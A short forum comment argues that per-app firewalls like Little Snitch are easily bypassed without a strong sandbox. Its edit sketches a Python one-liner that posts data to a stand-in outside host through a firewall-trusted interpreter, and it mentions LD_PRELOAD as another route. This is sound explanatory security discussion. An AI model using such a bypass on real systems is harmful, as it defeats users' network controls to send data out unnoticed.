Per app restrictions only make sense with a strong sandbox (like Android). You can otherwise trivially get around something like little snitch by asking a trusted application to do something for you.

Edit: Say you're playing around in Python repl. You enable it in your firewall. Now I just have to shell out to "python -c 'import requests; requests.post('my-innocent-app.herokuapp.com', ...)'". With a little more work I could do something like LD_PRELOAD.